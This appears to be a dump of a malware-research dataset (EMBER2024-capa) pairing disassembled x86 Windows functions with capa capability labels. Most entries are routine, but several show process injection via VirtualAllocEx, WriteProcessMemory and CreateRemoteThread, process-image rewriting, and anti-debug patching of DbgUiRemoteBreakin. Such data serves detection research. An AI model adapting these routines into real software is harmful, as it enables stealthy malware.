joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4068a4
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push 0
push 0
push ebx
push esi
mov ebx, ecx
mov esi, edx
xor eax, eax
push ebp
push 0x40697a
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
lea eax, [ebp - 4]
push eax
push 0
push 2
push 0
push 0
push 0
lea eax, [ebp - 0xc]
mov edx, esi
call fcn.00401cac
mov ecx, dword [ebp - 0xc]
lea eax, [ebp - 8]
mov edx, 0x406990
call fcn.00401d9c
mov eax, dword [ebp - 8]
call fcn.00401f48
push eax
push 0x80000002
call sub.advapi32.dll_RegCreateKeyExA
lea eax, [ebp - 0x10]
mov edx, ebx
call fcn.00401cac
mov eax, dword [ebp - 0x10]
call fcn.00401d50
mov esi, eax
mov eax, dword [0x40d090]
call fcn.00401d50
add esi, eax
push esi
lea eax, [ebp - 0x14]
mov edx, ebx
call fcn.00401cac
lea eax, [ebp - 0x14]
mov edx, dword [0x40d090]
call fcn.00401d58
mov eax, dword [ebp - 0x14]
call fcn.00401f48
push eax
push 1
push 0
push 0x4069c8
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegSetValueExA
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406981
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00401ae4
ret

Function at 0x4069d4
Capabilities:
Delete registry key

Disassembly:
push ebx
push ecx
mov ebx, edx
push esp
push 0x20006
push 0
push 0x406a08
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
push ebx
mov eax, dword [esp + 4]
push eax
call sub.advapi32.dll_RegDeleteKeyA
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey
pop edx
pop ebx
ret
Function at 0x407c9c
Capabilities:
Get session user name
Get user security identifier

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde8
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x407d71
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.00401ac0
lea eax, [ebp - 4]
mov edx, pe_nt_image_headers32
call fcn.00402074
mov dword [ebp - 8], 0xff
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
call fcn.00401f9c
push eax
call sub.advapi32.dll_GetUserNameA
test eax, eax
je 0x407d5b
mov dword [ebp - 0xc], 0xff
mov dword [ebp - 0x10], 0xff
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 4]
call fcn.00401f9c
push eax
push 0
call sub.advapi32.dll_LookupAccountNameA
test eax, eax
je 0x407d5b
lea eax, [ebp - 0x118]
push eax
call sub.advapi32.dll_IsValidSid
test eax, eax
je 0x407d5b
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x118]
push eax
call sub.advapi32.dll_ConvertSidToStringSidA
mov eax, ebx
mov edx, dword [ebp - 0x18]
call fcn.00401cac
mov eax, dword [ebp - 0x18]
push eax
call sub.kernel32.dll_GlobalFree
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407d78
lea eax, [ebp - 4]
call fcn.00401ac0
ret
Function at 0x408ae8
Capabilities:
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0xc], ecx
mov esi, edx
mov edi, eax
xor eax, eax
push ebp
push 0x408c64
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov eax, esi
call fcn.00401ac0
push 0
push 1
push 0
push 0
lea eax, [ebp - 4]
push eax
call sub.advapi32.dll_CryptAcquireContextA
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x8004
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_CryptCreateHash
test eax, eax
je 0x408c30
push 0
lea eax, [ebp - 0x18]
mov edx, edi
call fcn.00402218
mov eax, dword [ebp - 0x18]
call fcn.00402274
inc eax
add eax, eax
push eax
push edi
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_CryptHashData
test eax, eax
je 0x408c30
mov dword [ebp - 0x10], 0x14
push 0x14
lea eax, [ebp - 0xc]
mov ecx, 1
mov edx, dword [0x408ac4]
call fcn.00402fbc
add esp, 4
push 0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc]
push eax
push 2
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_CryptGetHashParam
test eax, eax
je 0x408c30
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_CryptDestroyHash
push 0
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_CryptReleaseContext
mov eax, dword [ebp - 0x10]
dec eax
test eax, eax
jl 0x408c08
inc eax
mov dword [ebp - 0x14], eax
xor edi, edi
mov eax, dword [ebp - 0xc]
add bl, byte [eax + edi]
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax + edi]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0
lea edx, [ebp - 0x24]
xor ecx, ecx
mov eax, 0x408c7c
call fcn.004089b8
mov edx, dword [ebp - 0x1c]
mov eax, esi
call fcn.00401d58
inc edi
dec dword [ebp - 0x14]
jne 0x408bd1
lea eax, [ebp - 0x28]
push eax
xor eax, eax
mov al, bl
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0
lea edx, [ebp - 0x24]
xor ecx, ecx
mov eax, 0x408c7c
call fcn.004089b8
mov edx, dword [ebp - 0x28]
mov eax, esi
call fcn.00401d58
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408c6b
lea eax, [ebp - 0x28]
call fcn.00401ac0
lea eax, [ebp - 0x1c]
call fcn.00401ac0
lea eax, [ebp - 0x18]
call fcn.00402108
lea eax, [ebp - 0xc]
mov edx, dword [0x408ac4]
call fcn.00402fc8
ret
Function at 0x40aeac
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
mov edi, ecx
mov ebp, edx
mov esi, eax
push 0x40
push 0x3000
push edi
push 0
push esi
call sub.kernel32.dll_VirtualAllocEx
mov ebx, eax
lea eax, [esp + 4]
push eax
push 0x40
push edi
push ebx
push esi
call sub.kernel32.dll_VirtualProtectEx
test ebx, ebx
je 0x40aeee
push esp
push edi
push ebp
push ebx
push esi
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
jne 0x40aeee
xor ebx, ebx
mov eax, ebx
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x40aef8
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffec
mov dword [esp + 4], ecx
mov dword [esp], edx
mov ebx, eax
xor eax, eax
mov dword [esp + 8], eax
push 0
call sub.kernel32.dll_GetModuleHandleA_1
mov ecx, eax
mov eax, ecx
xor edx, edx
push edx
push eax
mov eax, dword [ecx + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov esi, dword [eax + 0x50]
mov edi, dword [eax + 0x34]
push 0x8000
push 0
push edi
push ebx
call sub.kernel32.dll_VirtualFreeEx
push 0x40
push 0x3000
push esi
push edi
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov ebp, eax
test ebp, ebp
je 0x40af94
lea eax, [esp + 0xc]
push eax
push esi
push 0
call sub.kernel32.dll_GetModuleHandleA_1
push eax
push edi
push ebx
call sub.kernel32.dll_WriteProcessMemory
cmp esi, dword [esp + 0xc]
ja 0x40af94
lea eax, [esp + 0x10]
push eax
push 0
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esp + 0xc]
push eax
push 0
push 0
push ebx
call sub.kernel32.dll_CreateRemoteThread
push ebx
call sub.kernel32.dll_CloseHandle
mov dword [esp + 8], ebp
mov eax, dword [esp + 8]
add esp, 0x14
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x40afa0
Capabilities:
Find taskbar

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x40b052
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0xc]
xor eax, eax
call fcn.004013a4
mov eax, dword [ebp - 0xc]
call fcn.00401f48
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0
push 0x40b060
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_GetWindowThreadProcessId
mov eax, dword [ebp - 4]
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov ebx, eax
lea eax, [ebp - 0x10]
mov edx, esi
call fcn.00401cac
mov eax, dword [ebp - 0x10]
call fcn.00401d50
mov ecx, eax
mov edx, esi
mov eax, ebx
call fcn.0040aeac
mov dword [ebp - 8], eax
lea edx, [ebp - 8]
mov ecx, 4
mov eax, ebx
call fcn.0040aeac
mov edx, 0x40ae84
mov ecx, eax
mov eax, ebx
call fcn.0040aef8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b059
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.00401ae4
ret
Function at 0x40b7f8
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa4
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x5c], eax
xor eax, eax
push ebp
push 0x40b8f6
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [0x40d204]
mov edx, dword [edx]
lea eax, [ebp - 0x5c]
mov ecx, 0x40b90c
call fcn.00401d9c
mov eax, dword [ebp - 0x5c]
call fcn.00401f48
push eax
push 0
push 0
call fcn.00403568
mov ebx, eax
call sub.kernel32.dll_GetLastError
cmp eax, 0xb7
jne 0x40b853
push ebx
call sub.kernel32.dll_CloseHandle
jmp 0x40b8e0
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x40d1cc]
call fcn.00401f9c
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0
push 0x40b918
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_GetWindowThreadProcessId
mov eax, dword [ebp - 4]
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov ebx, eax
mov edx, esi
mov eax, ebx
call fcn.004040f4
test al, al
jne 0x40b8e0
lea eax, [ebp - 0x58]
mov edx, 0x44
call fcn.00403738
lea eax, [ebp - 0x14]
mov edx, 0x10
call fcn.00403738
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x58]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0x40b928
push 0
call sub.kernel32.dll_CreateProcessA
mov ebx, dword [ebp - 0x14]
mov edx, esi
mov eax, ebx
call fcn.004040f4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b8fd
lea eax, [ebp - 0x5c]
call fcn.00401ac0
ret
Function at 0x40d237
Capabilities:
Get geographical location

Disassembly:
xor eax, eax
push eax
push eax
mov eax, dword [esp + 0x10]
mov dword [0x6c8ed0], eax
mov dword [section..data], 0xf00072
mov dword [section..data], 0xf00075
push 0
mov eax, dword [esp + 4]
push eax
push dword [esp + 0x14]
push 0x400
call sub.KERNEL32.dll_GetLocaleInfoW
mov dword [esp + 4], eax
mov dword [section..data], 0xf00076
mov edx, dword [0x6c8ed0]
push edx
push edx
push dword [esp + 0xc]
call fcn.0052bcf0
lea eax, [esp + 4]
push eax
call fcn.0052ec20
mov dword [section..data], 0xf00077
push dword [esp + 4]
mov eax, dword [esp + 4]
push eax
push dword [esp + 0x14]
push 0x400
call sub.KERNEL32.dll_GetLocaleInfoW
and eax, eax
je 0x40d2e0
mov dword [section..data], 0xf00078
mov edx, dword [esp]
push dword [0x6c8ed0]
push edx
call fcn.0052eca0
pop eax
add eax, dword [0x6be9ac]
jmp 0x40d304
mov dword [section..data], 0xf00079
mov dword [section..data], 0xf0007a
mov eax, dword [0x6c8ed0]
add eax, dword [0x6be9ac]
mov word [eax], 0
push dword [esp]
call fcn.0052ed00
add esp, 8
ret 4
Function at 0x41197a
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
mov edx, 7
sub esp, 4
mov dword [esp], 0
dec edx
jne 0x411980
mov eax, dword [esp + 0x30]
mov dword [0x6c8ed0], eax
mov edx, dword [esp + 0x28]
lea ecx, [esp]
call fcn.004d5000
mov edx, dword [esp + 0x2c]
lea ecx, [esp + 4]
call fcn.004d5000
mov dword [section..data], 0x800008
mov dword [section..data], 0x800009
mov dword [esp + 0xc], 0
mov dword [section..data], 0x800009
mov dword [esp + 0x10], 0
mov dword [section..data], 0x800009
mov dword [esp + 0x14], 0x400
mov dword [section..data], 0x800009
push dword [esp + 0x14]
call fcn.0052db50
mov dword [esp + 0x18], eax
mov dword [section..data], 0x80000a
cmp dword [esp + 0x18], 0
je 0x411b18
mov dword [section..data], 0x80000b
lea eax, [esp + 0xc]
push eax
push 0x20019
push 0
push dword [esp + 0xc]
push dword [esp + 0x34]
call sub.ADVAPI32.dll_RegOpenKeyExW
mov ebx, eax
and ebx, ebx
jne 0x411ad8
mov dword [section..data], 0x80000c
cmp dword [esp + 0xc], 0
je 0x411ace
mov dword [section..data], 0x80000d
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x1c]
lea eax, [esp + 0x18]
push eax
push 0
push dword [esp + 0x14]
push dword [esp + 0x20]
call sub.ADVAPI32.dll_RegQueryValueExW
mov ebx, eax
and ebx, ebx
jne 0x411ab1
mov dword [section..data], 0x80000e
mov edx, dword [0x6c8ed0]
push edx
push edx
push dword [esp + 0x20]
call fcn.0052dd10
lea eax, [esp + 0xc]
push eax
call fcn.0052ec20
mov dword [section..data], 0x80000f
mov dword [section..data], 0x800010
push dword [esp + 0xc]
call sub.ADVAPI32.dll_RegCloseKey
mov dword [section..data], 0x800011
mov dword [section..data], 0x800012
mov dword [section..data], 0x800013
push dword [esp + 0x18]
call fcn.0052dbb0
mov dword [section..data], 0x800014
mov edx, dword [esp + 8]
push dword [0x6c8ed0]
push edx
call fcn.0052eca0
pop eax
add eax, dword [0x6be9ac]
jmp 0x411b3c
mov dword [section..data], 0x800015
mov dword [section..data], 0x800016
mov eax, dword [0x6c8ed0]
add eax, dword [0x6be9ac]
mov word [eax], 0
push dword [esp + 4]
call fcn.0052ed00
push dword [esp]
call fcn.0052ed00
push dword [esp + 8]
call fcn.0052ed00
add esp, 0x1c
pop ebx
ret 0xc
Function at 0x424024
Capabilities:
Get common file path

Disassembly:
push ebx
xor eax, eax
push eax
push eax
mov eax, dword [esp + 0x14]
mov dword [0x6c8ed0], eax
mov dword [section..data], 0xd00095
mov dword [section..data], 0xd00096
mov edx, dword [0x6c8ed0]
push edx
push edx
push 0x104
call fcn.0052bcf0
add dword [0x6c8ed0], 2
lea eax, [esp + 8]
push eax
call fcn.0052ec20
mov dword [section..data], 0xd00097
lea eax, [esp]
push eax
push dword [esp + 0x14]
push 0
call sub.SHELL32.dll_SHGetSpecialFolderLocation
mov ebx, eax
and ebx, ebx
jne 0x42415a
mov dword [section..data], 0xd00098
mov eax, dword [esp + 4]
push eax
push dword [esp + 4]
call sub.SHELL32.dll_SHGetPathFromIDListW
and eax, eax
je 0x424124
mov dword [section..data], 0xd00099
mov edx, dword [0x6c8ed0]
push edx
push edx
push 1
push dword [esp + 0x10]
call fcn.0052cac0
add dword [0x6c8ed0], 2
mov edx, 0x5f9c60
pop ecx
mov dword [0x6c8ed0], ecx
add ecx, dword [0x6be9ac]
call fcn.004d5330
jne 0x42411a
mov dword [section..data], 0xd0009a
mov edx, dword [esp + 4]
push dword [0x6c8ed0]
push edx
call fcn.0052eca0
mov edx, 0x5f9c60
push edx
call fcn.0052eca0
lea eax, [esp + 8]
push eax
call fcn.0052ec20
mov dword [section..data], 0xd0009b
mov dword [section..data], 0xd0009c
mov dword [section..data], 0xd0009d
cmp dword [esp], 0
je 0x424150
mov dword [section..data], 0xd0009e
push dword [esp]
call sub.ole32.dll_CoTaskMemFree
mov dword [section..data], 0xd0009f
mov dword [section..data], 0xd000a0
mov dword [section..data], 0xd000a1
mov edx, dword [0x6c8ed0]
push edx
push edx
push dword [esp + 0xc]
call fcn.0052c480
pop eax
add eax, dword [0x6be9ac]
jmp 0x4241a2
push dword [esp + 4]
call fcn.0052ed00
add esp, 8
pop ebx
ret 4
Function at 0x4674fc
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebx
xor eax, eax
push eax
mov dword [section..data], 0x1a2
mov dword [section..data], 0x1a5
mov eax, str.ntdll.dll
push eax
push 0
call fcn.004f972a
and eax, eax
je 0x46755b
mov dword [section..data], 0x1a6
mov eax, str.DbgUiRemoteBreakin
push eax
push 0
call fcn.004f9784
mov dword [0x6c3644], eax
mov dword [section..data], 0x1a7
push 0
call fcn.004f966a
mov dword [section..data], 0x1a8
mov dword [section..data], 0x1a9
mov eax, str.kernel32.dll
push eax
push 0
call fcn.004f972a
and eax, eax
je 0x4675b6
mov dword [section..data], 0x1aa
mov eax, 0x602e28
push eax
push 0
call fcn.004f9784
mov dword [0x6c3660], eax
mov dword [section..data], 0x1ab
push 0
call fcn.004f966a
mov dword [section..data], 0x1ac
mov dword [section..data], 0x1ad
lea eax, [esp]
push eax
push 0x40
push 6
push dword [0x6c3644]
call sub.KERNEL32.dll_VirtualProtect
mov dword [section..data], 0x1ae
push 0x68
mov ebx, dword [0x6c3644]
mov eax, ebx
call fcn.004d5310
mov dword [section..data], 0x1af
push dword [0x6c3660]
mov ebx, dword [0x6c3644]
inc ebx
mov eax, ebx
call fcn.004d5320
mov dword [section..data], 0x1b0
push 0xc3
mov ebx, dword [0x6c3644]
add ebx, 5
mov eax, ebx
call fcn.004d5310
mov dword [section..data], 0x1b1
lea eax, [esp]
push eax
push dword [esp + 4]
push 6
push dword [0x6c3644]
call sub.KERNEL32.dll_VirtualProtect
mov dword [section..data], 0x1b2
xor eax, eax
add esp, 4
pop ebx
ret
Function at 0x4d612f
Capabilities:
Get file size
Read file on windows

Disassembly:
push ecx
mov eax, dword [esp + 0xc]
push ebx
xor ebx, ebx
push esi
mov esi, ebx
test eax, eax
je 0x4d62d5
cmp word [eax], bx
je 0x4d62d5
push ebx
push pe_nt_image_headers32
push 3
push ebx
push 1
push closesocket
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esp + 8], eax
cmp eax, 0xffffffff
je 0x4d62d1
push ebp
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebp, eax
test ebp, ebp
jle 0x4d62c6
push edi
push dword [esp + 0x20]
call fcn.004d66ef
mov edi, eax
test edi, edi
je 0x4d62c5
cmp dword [esp + 0x20], 0xffffffff
mov ebx, dword [esp + 0x18]
jne 0x4d61a5
push 2
jmp 0x4d61a9
push dword [esp + 0x20]
push ebx
call fcn.004d6b7e
mov esi, eax
test esi, esi
je 0x4d62be
cmp ebx, 0xffffffff
jne 0x4d61c0
mov ebx, esi
mov eax, dword [esi + 4]
mov dword [esi + 0x30], ebx
lea ebx, [ebp + 8]
mov dword [esi + 0x38], eax
xor eax, eax
push ebx
push eax
mov dword [esi + 0x2c], edi
mov dword [esi + 0x3c], eax
mov dword [esi + 0x40], eax
mov dword [esi + 0x14], eax
push dword [0x6c3550]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [esi + 0x28], eax
test eax, eax
je 0x4d6201
mov dword [eax + 4], ebx
mov eax, dword [esi + 0x28]
and dword [eax], 0
mov eax, dword [esi + 0x28]
add eax, 8
mov dword [esi + 0x44], eax
cmp dword [esp + 0x20], 0xffffffff
je 0x4d620f
mov dword [esi + 0x34], 1
push esi
push edi
call fcn.00535930
pop ecx
pop ecx
xor ebx, ebx
mov ecx, 0x4000
mov dword [esp + 0x20], ecx
test ebp, ebp
jle 0x4d62ba
lea eax, [ecx + ebx]
cmp eax, ebp
jle 0x4d623a
mov ecx, ebp
sub ecx, ebx
mov dword [esp + 0x20], ecx
push ecx
push edi
call fcn.00535150
mov dword [esp + 0x20], eax
pop ecx
pop ecx
test eax, eax
je 0x4d62ac
push 0
lea ecx, [esp + 0x20]
push ecx
push dword [esp + 0x28]
push eax
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [esp + 0x1c]
add ebx, eax
cmp dword [esi + 0x14], 0
jne 0x4d627e
push eax
push dword [esp + 0x1c]
call fcn.004d679a
mov dword [esi + 0x14], eax
mov eax, dword [esp + 0x1c]
cmp ebx, ebp
jl 0x4d6286
push 1
jmp 0x4d6288
push 0
push eax
push edi
call fcn.00535590
add esp, 0xc
test eax, eax
je 0x4d62a0
mov ecx, dword [esp + 0x20]
cmp ebx, ebp
jl 0x4d622b
jmp 0x4d62ba
push edi
call fcn.00535400
pop ecx
mov dword [esi + 0x18], eax
jmp 0x4d62b3
mov dword [esi + 0x18], 1
push edi
push esi
call fcn.004d6854
and dword [esi + 0x2c], 0
push edi
call fcn.005356d0
pop ecx
pop edi
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebp
mov eax, esi
jmp 0x4d62d7
xor eax, eax
pop esi
pop ebx
pop ecx
ret 0xc
Function at 0x4dad1a
Capabilities:
Enumerate gui resources

Disassembly:
cmp dword [esp + 4], 0
push ebx
push esi
push edi
je 0x4dad6f
push dword [esp + 0x10]
push 0x4dac99
call dword [sym.imp.USER32.dll_EnumWindows]
mov esi, dword [0x6c3df0]
test esi, esi
je 0x4dadc8
xor edi, edi
mov ebx, dword [esi]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [esi + 8], eax
jne 0x4dad67
cmp byte [esi + 0x10], 0
je 0x4dad67
push 3
push edi
push edi
push edi
push edi
push 0xfffffffffffffffe
push dword [esi + 0xc]
call dword [sym.imp.USER32.dll_SetWindowPos]
mov esi, ebx
test ebx, ebx
jne 0x4dad43
jmp 0x4dadc8
mov esi, dword [0x6c3df0]
test esi, esi
je 0x4dadc8
xor edi, edi
push ebp
mov ebx, dword [esi]
lea ebp, [esi + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [ebp], eax
jne 0x4dadc1
cmp byte [esi + 0x11], 0
je 0x4dad9d
push 1
push dword [esi + 0xc]
call dword [sym.imp.USER32.dll_EnableWindow]
cmp byte [esi + 0x10], 0
je 0x4dadb4
push 3
push edi
push edi
push edi
push edi
push 0xffffffffffffffff
push dword [esi + 0xc]
call dword [sym.imp.USER32.dll_SetWindowPos]
push ebp
push 0x6c3df0
call fcn.0052eb12
pop ecx
pop ecx
mov esi, ebx
test ebx, ebx
jne 0x4dad7c
pop ebp
pop edi
pop esi
pop ebx
ret 4
Function at 0x4f5161
Capabilities:
Accept command line arguments

Disassembly:
push ecx
push ecx
push ebx
push ebp
push esi
push edi
push dword [0x6c8f18]
call fcn.0052e287
mov ebp, eax
or ebx, 0xffffffff
xor eax, eax
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov edi, dword [esp + 0x1c]
movzx edx, word [eax]
test dx, dx
je 0x4f5261
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x10], 0x20
mov dword [esp + 0x14], 0x22
cmp dx, word [esp + 0x10]
jne 0x4f51b7
push 0x20
pop edx
add eax, 2
cmp word [eax], dx
je 0x4f51af
movzx edx, word [eax]
mov dword [esp + 0x1c], 1
cmp dx, word [esp + 0x14]
jne 0x4f51f7
add eax, 2
mov esi, eax
movzx ecx, word [eax]
test cx, cx
je 0x4f5239
push 0x22
pop edx
cmp cx, dx
je 0x4f51e9
add eax, 2
movzx ecx, word [eax]
test cx, cx
jne 0x4f51d9
xor ecx, ecx
cmp word [eax], cx
je 0x4f5239
mov ecx, eax
add eax, 2
jmp 0x4f523b
test dx, dx
je 0x4f5241
push 0x20
mov esi, eax
pop ecx
cmp dx, cx
je 0x4f51e9
add eax, 2
push 0x22
pop edx
cmp word [eax], dx
jne 0x4f522f
add eax, 2
movzx ecx, word [eax]
test cx, cx
je 0x4f5239
cmp cx, dx
je 0x4f522c
add eax, 2
movzx ecx, word [eax]
test cx, cx
jne 0x4f521c
push 0x20
pop ecx
movzx edx, word [eax]
test dx, dx
jne 0x4f5201
jmp 0x4f51e9
mov ecx, eax
mov edx, dword [esp + 0x1c]
jmp 0x4f5243
xor edx, edx
cmp dword [ebp], ebx
jne 0x4f524c
test edi, edi
jne 0x4f5269
test edx, edx
je 0x4f5251
inc ebx
xor edx, edx
mov esi, edx
movzx edx, word [eax]
test dx, dx
jne 0x4f51a5
test edi, edi
jne 0x4f527a
mov eax, ebx
jmp 0x4f527e
test esi, esi
je 0x4f527a
sub ecx, esi
mov eax, esi
sar ecx, 1
mov dword [edi], ecx
inc dword [ebp]
jmp 0x4f527e
xor ecx, ecx
mov dword [edi], ecx
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret
Function at 0x4f5ab8
Capabilities:
Read file on windows

Disassembly:
sub esp, 0xc
mov eax, 0x1000
push ebx
push ebp
push esi
push edi
xor edi, edi
xor ebp, ebp
cmp dword [esp + 0x24], 0x18
mov ebx, eax
je 0x4f5b77
cmp dword [esp + 0x24], 2
je 0x4f5b77
push 0x2000
push ebp
push dword [0x6c3550]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
jmp 0x4f5b46
cmp dword [esp + 0x18], 2
jne 0x4f5b62
cmp dword [esp + 0x28], 0xffffffff
je 0x4f5b0a
cmp ebp, dword [esp + 0x28]
jae 0x4f5b62
add ebp, 2
test ebx, ebx
jne 0x4f5b2f
lea eax, [edi*2 + 0x2000]
push eax
push esi
push 8
push dword [0x6c3550]
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov esi, eax
mov ebx, 0x1000
mov ax, word [esp + 0x14]
cmp ax, 0xa
je 0x4f5b62
cmp ax, 0xd
je 0x4f5b46
mov word [esi + edi*2], ax
inc edi
dec ebx
push 0
lea eax, [esp + 0x1c]
push eax
push 2
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4f5af6
push dword [esp + 0x2c]
xor eax, eax
push esi
mov word [esi + edi*2], ax
call fcn.005c8130
jmp 0x4f5c09
push eax
push 0
push dword [0x6c3550]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
cmp dword [esp + 0x28], 0xffffffff
je 0x4f5b95
cmp ebp, dword [esp + 0x28]
jae 0x4f5bed
push 0
lea eax, [esp + 0x1c]
push eax
push 1
lea eax, [esp + 0x1f]
push eax
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4f5bed
cmp dword [esp + 0x18], 1
jne 0x4f5bed
inc ebp
test ebx, ebx
jne 0x4f5bda
lea eax, [edi + 0x1000]
push eax
push esi
push 8
push dword [0x6c3550]
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov esi, eax
mov ebx, 0x1000
mov al, byte [esp + 0x13]
cmp al, 0xa
je 0x4f5bed
cmp al, 0xd
je 0x4f5b88
mov byte [esi + edi], al
inc edi
dec ebx
jmp 0x4f5b88
cmp dword [esp + 0x24], 0x18
push dword [esp + 0x2c]
mov byte [esi + edi], 0
push esi
jne 0x4f5c04
call fcn.005c7fa0
jmp 0x4f5c09
call fcn.005c7f40
push esi
push 0
push dword [0x6c3550]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret 0x10